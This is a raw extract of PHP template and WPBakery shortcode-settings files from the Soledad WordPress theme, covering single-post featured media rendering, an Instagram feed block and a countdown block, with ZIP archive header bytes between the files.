                                    <img class="penci-lazy" data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } else { ?>
                                    <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } ?>
								<?php if ( get_theme_mod( 'penci_post_gallery_caption' ) && $the_caption ): ?>
                                    <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
								<?php endif; ?>
                            </figure>
                        </div>

					<?php endforeach; ?>
                </div>
            </div>
        </div>
	<?php endif; ?>

<?php elseif ( penci_get_post_format( 'video' ) ) : ?>
	<?php
	Penci_Sodedad_Video_Format::show_builder_video_embed( array(
		'post_id'             => $post->ID,
		'parallax'            => $enable_jarallax,
		'args'                => array( 'width' => '1920', 'height' => '1080' ),
		'show_title_inner'    => true,
		'move_title_bellow'   => $move_title_bellow,
		'div_special_wrapper' => $div_special_wrapper,
		'single_style'        => 'style-1'
	), $settings );
	?>
<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>
	<?php
	$class_pimage_audio = 'standard-post-image post-image audio';

	if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
		$class_pimage_audio .= ' no-thumbnail';
	}

	if ( $enable_jarallax ) {
		$class_pimage_audio .= ' penci-jarallax';
	}

	if ( ! $move_title_bellow ) {
		$class_pimage_audio .= ' penci-move-title-above';
	}

	?>
<div class="<?php echo $class_pimage_audio; ?>">
	<?php
	if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
		echo $image_html;
	}
	?>
	<?php echo $div_special_wrapper; ?>
    <div class="audio-iframe">
		<?php $penci_audio = get_post_meta( $post->ID, '_format_audio_embed', true );
		$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
		<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
			<?php echo wp_oembed_get( $penci_audio ); ?>
		<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
			<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
		<?php else : ?>
			<?php echo $penci_audio; ?>
		<?php endif; ?>
    </div>
    <div class="penci-fto-ct">
		<?php
		if ( ! $move_title_bellow ) {
			get_template_part( 'template-parts/single', 'breadcrumb' );
		}
		if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
			get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
		}
		?>
    </div>
	<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
    </div>

<?php else : ?>

	<?php if ( has_post_thumbnail() && ! $settings['penci_post_thumb'] ) : ?>
        <div class="post-image <?php echo( ! $move_title_bellow ? ' penci-move-title-above' : '' ); ?>">
			<?php
			if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
				$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
				echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-bground-content">';
				echo $image_html;
				echo '</a>';
			} else {

				echo '<div class="' . ( $enable_jarallax ? 'penci-jarallax' : '' ) . '">';
				echo $image_html;
				echo '</div>';
			}

			echo $div_special_wrapper;
			echo '<div class="penci-fto-ct">';
			if ( ! $move_title_bellow ) {
				get_template_part( 'template-parts/single', 'breadcrumb' );
			}

			if ( ! $move_title_bellow && has_post_thumbnail() ) {
				?>
                <div class="header-standard header-classic single-header">
				<?php if ( ! $settings['penci_post_cat'] ) : ?>
                    <div class="penci-standard-cat penci-single-cat <?php echo $settings['cat_pre_style']; ?>"><span
                                class="cat">
                                    <?php penci_category( '' ); ?>
                                </span></div>
				<?php endif; ?>

				<?php if ( ! $settings['hide_title'] ): ?>
                    <h1 class="post-title single-post-title entry-title"><span><?php the_title(); ?></span></h1>
				<?php endif; ?>
				<?php
				if ( ! $settings['hide_subtitle'] ) {
					penci_display_post_subtitle();
				}
				?>
				<?php penci_soledad_meta_schema(); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_single_hreadtime' ); ?>
				<?php if ( ! $settings['penci_single_meta_author'] || ! $settings['penci_single_meta_date'] || ! $settings['penci_single_meta_comment'] || $settings['penci_single_show_cview'] || $settings[ $hide_readtime ] ) : ?>

                    <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
						<?php if ( ! $settings['penci_single_meta_author'] ) :
							global $post;
							?>
                            <span class="author-post byline">
                                        <span class="author vcard">
	                                        <?php if ( ! $label_text ) {
		                                        echo penci_get_setting( 'penci_trans_written_by' );
	                                        } ?>
	                                        <?php
	                                        $author_ids = [];
	                                        $author     = get_post_field( 'post_author', get_the_ID() );
	                                        if ( $author ) {
		                                        $author_ids[] = $author;
	                                        }
	                                        if ( function_exists( 'coauthors__echo' ) ) {
		                                        $author_list = coauthors__echo( 'ID', 'field', array(
			                                        'between'     => ',',
			                                        'betweenLast' => ',',
			                                        'before'      => '',
			                                        'after'       => '',
		                                        ), null, false );
		                                        if ( $author_list ) {
			                                        $author_ids = explode( ',', $author_list );
		                                        }
	                                        }
	                                        $total   = count( $author_ids );
	                                        $current = 0;
	                                        foreach ( $author_ids as $author_id ) {
		                                        $current ++;
		                                        ?>

                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id );
                                                ?>
                                            </a>
	                                        <?php } ?>
                                        </span>
                                    </span>
						<?php endif; ?>
						<?php penci_author_update_name(); ?>
						<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
                            <span class="pctmp-date-post">
                                <?php penci_soledad_time_link( 'single' ); ?></span>
						<?php endif; ?>
						<?php if ( ! $settings['penci_single_meta_comment'] ) :
							?>
                            <span class="pctmp-comment-post">
                                    <?php
                                    $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
                                    $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
                                    ?>
                                    <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
						<?php endif; ?>
						<?php if ( ! $settings['penci_single_show_cview'] ) : ?>
                            <span class="pctmp-view-post">

                                        <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								} ?></span>
						<?php endif; ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
							?>
                            <span class="single-readtime">

                                    <?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php
						if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && ! $move_title_bellow ) {
							echo '<span class="penci-featured-caption penci-fixed-caption penci-caption-relative">' . get_the_post_thumbnail_caption() . '</span>';
						}
						?>
                    </div>
				<?php endif; ?>
				<?php
				$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
				if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
					do_action( 'penci_recipes_action_hook' );
				} ?>
                </div><?php
			}
			echo '</div>';
			if ( ! $move_title_bellow ) {
				echo '</div>';
			}

			if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && $move_title_bellow ) {
				echo '<span class="penci-featured-caption penci-fixed-caption">' . get_the_post_thumbnail_caption() . '</span>';
			}
			?>
        </div>
	<?php endif; ?>

<?php endif;
$css = [
	'img_ratio'              => [ '{{WRAPPER}} .penci-single-featured-img,{{WRAPPER}} .penci-jarallax' => 'padding-top: {{VALUE}}% !important;' ],
	'content_overlay_align'  => [ '{{WRAPPER}} .standard-post-special_wrapper,{{WRAPPER}} .standard-post-special_wrapper .penci-fto-ct,{{WRAPPER}} .standard-post-special_wrapper *,{{WRAPPER}} .post-box-meta-single' => 'text-align:{{VALUE}}' ],
	'content_overlay_calign' => [ '{{WRAPPER}} .standard-post-special_wrapper' => 'bottom:30px;top:30px;display:flex;flex-wrap: wrap;flex-direction: column;justify-content:{{VALUE}}' ],
	'hide_breadcrumb'        => [ '{{WRAPPER}} .penci-breadcrumb' => 'display:none' ],
	'hide_title'             => [ '{{WRAPPER}} .single-post-title' => 'display:none' ],
	'hide_info'              => [ '{{WRAPPER}} .post-box-meta-single' => 'display:none' ],
	'meta_divider'           => [ '{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none !important;' ],
	'meta-item-spacing'      => [ '{{WRAPPER}} .post-box-meta-single > span:not(:last-child)' => 'margin-right:{{VALUE}}px;' ],
	'overlay_bgcolor'        => [ '{{WRAPPER}} .penci-move-title-above:after' => 'background:{{VALUE}}' ],
	'overlay_ctbgcolor'      => [ '{{WRAPPER}} .penci-fto-ct' => 'background-color:{{VALUE}}' ],
	'overlay_ctw'            => [ '{{WRAPPER}} .penci-fto-ct' => 'max-width:{{VALUE}}px' ],
	'overlay_align'          => [ '{{WRAPPER}} .penci-fto-ct' => '{{VALUE}}' ],
	'overlay_ctpd'           => [ '{{WRAPPER}} .penci-fto-ct' => 'padding: {{VALUE}}px;' ],
	'overlay_ctbdr'          => [ '{{WRAPPER}} .penci-fto-ct' => 'border-radius:{{VALUE}}px' ],
	'breadcrumb_color'       => [ '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb span, {{WRAPPER}} .penci-breadcrumb.single-breadcrumb i,{{WRAPPER}} .penci-breadcrumb.single-breadcrumb a' => 'color:{{VALUE}} !important' ],
	'breadcrumb_lhcolor'     => [ '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb a:hover' => 'color:{{VALUE}}' ],
	'cat_color'              => [ '{{WRAPPER}} .cat' => 'color:{{VALUE}}' ],
	'cat_lcolor'             => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'color:{{VALUE}}' ],
	'cat_lhcolor'            => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color:{{VALUE}}' ],
	'cat_bgcolor'            => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'background-color:{{VALUE}}' ],
	'cat_bghcolor'           => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'background-color:{{VALUE}}' ],
	'cat_bcolor'             => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-color:{{VALUE}}' ],
	'cat_bhcolor'            => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'border-color:{{VALUE}}' ],
	'cat_border'             => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-width: {{VALUE}}px;' ],
	'cat_border_style'       => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-style:{{VALUE}}' ],
	'cat_border_radius'      => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-radius: {{VALUE}}px;' ],
	'cat_divider'            => [ '{{WRAPPER}} .cat > a.penci-cat-name:after' => 'display:none !important;' ],
	'meta-color'             => [ '{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}' ],
	'meta-link-color'        => [ '{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}' ],
	'meta-link-hcolor'       => [ '{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}' ],
	'remove-divider'         => [ '{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none' ],
	'meta-author-color'      => [ '{{WRAPPER}} .author-post,{{WRAPPER}} .author-post .author' => 'color:{{VALUE}}' ],
	'meta-author-lcolor'     => [ '{{WRAPPER}} .author-post a' => 'color:{{VALUE}}' ],
	'meta-author-hcolor'     => [ '{{WRAPPER}} .author-post a:hover' => 'color:{{VALUE}}' ],
	'meta-pdate-color'       => [ '{{WRAPPER}} .pctmp-date-post' => 'color:{{VALUE}} !important' ],
	'meta-pcomment-color'    => [ '{{WRAPPER}} .pctmp-comment-post' => 'color:{{VALUE}} !important' ],
	'meta-pview-color'       => [ '{{WRAPPER}} .pctmp-view-post' => 'color:{{VALUE}} !important' ],
	'meta-preading-color'    => [ '{{WRAPPER}} .single-readtime' => 'color:{{VALUE}} !important' ],
	'title_color'            => [ '{{WRAPPER}} .header-standard .post-title' => 'color:{{VALUE}}' ],
	'subtitle_color'         => [ '{{WRAPPER}} .penci-psub-title' => 'color:{{VALUE}}' ],
	'postinfo_color'         => [ '{{WRAPPER}} .header-standard .post-box-meta-single span' => 'color:{{VALUE}}' ],
	'postinfo_lcolor'        => [ '{{WRAPPER}} .header-standard .post-box-meta-single span a' => 'color:{{VALUE}}' ],
	'postinfo_lhcolor'       => [ '{{WRAPPER}} .header-standard .post-box-meta-single span a:hover' => 'color:{{VALUE}}' ],
	'postinfo_bgcolor'       => [ '{{WRAPPER}} .post-box-meta-single > span' => 'background-color:{{VALUE}}' ],
	'postinfo_bcolor'        => [ '{{WRAPPER}} .post-box-meta-single > span' => 'border-color:{{VALUE}}' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     /w\Ua    -  js_composer/shortcodes/instagram/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_instagram",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/instagram/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Instagram Feed', 'soledad' ),
	'description'   => 'Instagram Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_meta_settings',
				'heading'          => esc_html__( 'You need to connect to your Instagram account via "Dashboard > Soledad > Connect Instagram" first.', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Number of images to show', 'soledad' ),
				'param_name' => 'images_number',
				'value'      => array(
					1  => 1,
					2  => 2,
					3  => 3,
					4  => 4,
					5  => 5,
					6  => 6,
					7  => 7,
					8  => 8,
					9  => 9,
					10 => 10,
					11 => 11,
					12 => 12
				),
				'std'        => '9',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Check for new images every', 'soledad' ),
				'param_name'  => 'refresh_hour',
				'std'         => '5',
				'description' => 'Unix is hour(s)',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Template', 'soledad' ),
				'param_name' => 'template',
				'value'      => array(
					'Thumbnails - Without Border' => 'thumbs-no-border',
					'Thumbnails'                  => 'thumbs',
					'Slider - Normal'             => 'slider',
					'Slider - Overlay Text'       => 'slider-overlay'
				),
				'std'        => 'thumbs',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Number of Columns:', 'soledad' ),
				'param_name' => 'columns',
				'value'      => array(
					1  => 1,
					2  => 2,
					3  => 3,
					4  => 4,
					5  => 5,
					6  => 6,
					7  => 7,
					8  => 8,
					9  => 9,
					10 => 10,
				),
				'std'        => '3',
				'dependency' => array( 'element' => 'template', 'value' => array( 'thumbs-no-border', 'thumbs' ) ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Order by', 'soledad' ),
				'param_name' => 'orderby',
				'value'      => array(
					__( 'Date - Ascending', 'soledad' )        => 'date-ASC',
					__( 'Date - Descending', 'soledad' )       => 'date-DESC',
					__( 'Popularity - Ascending', 'soledad' )  => 'popular-ASC',
					__( 'Popularity - Descending', 'soledad' ) => 'popular-DESC',
					__( 'Random', 'soledad' )                  => 'rand',
				),
				'std'        => 'rand',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'On click action', 'soledad' ),
				'param_name' => 'images_link',
				'value'      => array(
					__( 'None', 'soledad' )              => '',
					__( 'Instagram image', 'soledad' )   => 'image_url',
					__( 'Instagram Profile', 'soledad' ) => 'user_url',
					__( 'Attachment Page', 'soledad' )   => 'attachment'
				),
				'std'        => 'rand',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
				'param_name' => 'slidespeed',
				'dependency' => array( 'element' => 'template', 'value' => array( 'slider', 'slider-overlay' ) ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Slider Navigation Controls', 'soledad' ),
				'param_name' => 'controls',
				'value'      => array(
					__( 'None', 'soledad' )        => 'none',
					__( 'Prev & Next', 'soledad' ) => 'prev_next',
					__( 'Dotted', 'soledad' )      => 'numberless',
				),
				'std'        => 'prev_next',
				'dependency' => array( 'element' => 'template', 'value' => array( 'slider', 'slider-overlay' ) ),
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Number of words in caption', 'soledad' ),
				'param_name' => 'caption_words',
				'default'    => 100,
				'dependency' => array( 'element' => 'template', 'value' => array( 'slider', 'slider-overlay' ) ),
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'       => 'css_editor',
				'heading'    => __( 'CSS box', 'soledad' ),
				'param_name' => 'css',
				'group'      => __( 'Design Options', 'soledad' ),
			),
			penci_get_vc_responsive_spacing_map(),
		)
	)
) );
PK     /w\అ
  
  -  js_composer/shortcodes/instagram/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$title_page          = $page_url = $page_height = $hide_faces = $hide_stream = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );


$css_class = 'penci-block-vc penci_instagram_widget-sc penci_instagram_widget penci_insta-' . ( isset( $atts['template'] ) ? $atts['template'] : '' );
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'instagram' );
?>
<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
	<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
    <div class="penci-block_content">
		<?php
		$defaults = array(
			'title'            => '',
			'attachment'       => '',
			'template'         => '',
			'images_link'      => '',
			'custom_url'       => '',
			'orderby'          => '',
			'images_number'    => '',
			'columns'          => '',
			'refresh_hour'     => '',
			'image_size'       => '',
			'image_link_rel'   => '',
			'image_link_class' => '',
			'no_pin'           => '',
			'controls'         => '',
			'animation'        => '',
			'caption_words'    => '',
			'slidespeed'       => '',
			'description'      => array( 'username', 'time', 'caption' ),
		);


		$instance = shortcode_atts( $defaults, $atts );
		Penci_Instagram_Feed::display_images( $instance );
		?>
    </div>
</div>
<?php

$id_instagram = '#' . $block_id;
$css_custom   = Penci_Vc_Helper::get_heading_block_css( $id_instagram, $atts );
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_instagram, $responsive_spacing );
}
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
?>
PK     /w\N{n6  6  .  js_composer/shortcodes/count_down/settings.phpnu [        <?php
$group_color = 'Typo & Color';
$group_trans = 'Strings Translation';

vc_map( array(
	'base'          => 'penci_count_down',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/count_down/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Count Down', 'soledad' ),
	'description'   => __( 'Count Down Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		Penci_Vc_Params_Helper::params_container_width(),
		array(
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Choose Skin', 'soledad' ),
				'param_name' => 'count_down_style',
				'std'        => 's1',
				'value'      => array(
					__( 'Style 1', 'soledad' ) => 's1',
					__( 'Style 2', 'soledad' ) => 's2',
					__( 'Style 3', 'soledad' ) => 's3',
					__( 'Style 4', 'soledad' ) => 's4',
				),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Posttion', 'soledad' ),
				'param_name' => 'count_down_posttion',
				'std'        => 'center',
				'value'      => array(
					__( 'Left', 'soledad' )   => 'left',
					__( 'Center', 'soledad' ) => 'center',
					__( 'Right', 'soledad' )  => 'right',
				),
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Year', 'soledad' ),
				'param_name'       => 'count_year',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Month', 'soledad' ),
				'param_name'       => 'count_month',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Day', 'soledad' ),
				'param_name'       => 'count_day',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',

			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Hour', 'soledad' ),
				'param_name'       => 'count_hour',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',

			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Minus', 'soledad' ),
				'param_name'       => 'count_minus',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',

			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Sec', 'soledad' ),
				'param_name'       => 'count_sec',
				'admin_label'      => true,
				'edit_field_class' => 'vc_col-sm-2',
			),

			array(
				"type"       => "checkbox",
				"class"      => "",
				"heading"    => esc_html__( "Select time units to display in countdown timer", "penci-framework" ),
				"param_name" => "countdown_opts",
				"value"      => array(
					esc_html__( "Years", "penci-framework" )   => "Y",
					esc_html__( "Months", "penci-framework" )  => "O",
					esc_html__( "Weeks", "penci-framework" )   => "W",
					esc_html__( "Days", "penci-framework" )    => "D",
					esc_html__( "Hours", "penci-framework" )   => "H",
					esc_html__( "Minutes", "penci-framework" ) => "M",
					esc_html__( "Seconds", "penci-framework" ) => "S",
				)
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Timer digit border style', 'soledad' ),
				'param_name' => 'digit_border',
				'value'      => array(
					esc_html__( 'None', 'soledad' )   => '',
					esc_html__( 'Solid', 'soledad' )  => 'solid',
					esc_html__( 'Dashed', 'soledad' ) => 'dashed',
					esc_html__( 'Dotted', 'soledad' ) => 'dotted',
					esc_html__( 'Double', 'soledad' ) => 'double',
				),
				'dependency' => array( 'element' => 'count_down_style', 'value' => array( 's1' ) ),
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'digit_border_width',
				'heading'    => __( 'Timer digit border width', 'soledad' ),
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency' => array( 'element' => 'digit_border', 'value' => array( 'solid', 'dashed', 'dotted', 'double' ) ),
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'digit_border_radius',
				'heading'    => __( 'Timer digit border radius', 'soledad' ),
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency' => array( 'element' => 'digit_border', 'value' => array( 'solid', 'dashed', 'dotted', 'double' ) ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'digit_padding',
				'heading'          => __( 'Timer digit padding', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'unit_margin_top',
				'heading'          => __( 'Timer unit margin top', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'countdown_item_width',
				'heading'          => __( 'Width of Countdown Section', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'countdown_item_height',
				'heading'          => __( 'Height of Countdown Section', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => __( 'Turn on uppearcase for label count down?', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'cdtitle_upper'
			),
			// Transition
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Day (Singular)', 'soledad' ),
				'param_name' => 'str_days',
				'value'      => esc_html__( 'Day', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Days (Plural)', 'soledad' ),
				'param_name' => 'str_days2',
				'value'      => esc_html__( 'Days', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Week (Singular)', 'soledad' ),
				'param_name' => 'str_weeks',
				'value'      => esc_html__( 'Week', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Weeks (Plural)', 'soledad' ),
				'param_name' => 'str_weeks2',
				'value'      => esc_html__( 'Weeks', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Month (Singular)', 'soledad' ),
				'param_name' => 'str_months',
				'value'      => esc_html__( 'Month', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Months (Plural)', 'soledad' ),
				'param_name' => 'str_months2',
				'value'      => esc_html__( 'Months', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Year (Singular)', 'soledad' ),
				'param_name' => 'str_years',
				'value'      => esc_html__( 'Year', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Years (Plural)', 'soledad' ),
				'param_name' => 'str_years2',
				'value'      => esc_html__( 'Years', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Hour (Singular)', 'soledad' ),
				'param_name' => 'str_hours',
				'value'      => esc_html__( 'Hour', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Hours (Plural)', 'soledad' ),
				'param_name' => 'str_hours2',
				'value'      => esc_html__( 'Hours', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Minute (Singular)', 'soledad' ),
				'param_name' => 'str_minutes',
				'value'      => esc_html__( 'Minute', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Minutes (Plural)', 'soledad' ),
				'param_name' => 'str_minutes2',
				'value'      => esc_html__( 'Minutes', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Second (Singular)', 'soledad' ),
				'param_name' => 'str_seconds',
				'value'      => esc_html__( 'Second', 'soledad' ),
				'group'      => $group_trans
			),
			array(
				'type'       => 'textfield',
				'class'      => '',
				'heading'    => esc_html__( 'Seconds (Plural)', 'soledad' ),
				'param_name' => 'str_seconds2',
				'value'      => esc_html__( 'Seconds', 'soledad' ),
				'group'      => $group_trans
			),
			// Color
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer background color', 'soledad' ),
				'param_name'       => 'time_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'count_down_style', 'value' => array( 's2', 's3', 's4' ) ),
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer border color', 'soledad' ),
				'param_name'       => 'time_bordercolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'count_down_style', 'value' => array( 's2', 's3', 's4' ) ),
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'time_digit_heading',
				'heading'          => esc_html__( 'Timer digit', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer digit border color', 'soledad' ),
				'param_name'       => 'time_digit_bordercolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer digit background color', 'soledad' ),
				'param_name'       => 'time_digit_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'count_down_style', 'value' => array( 's1' ) ),
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Timer digit color', 'soledad' ),
				'param_name'       => 'time_digit_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
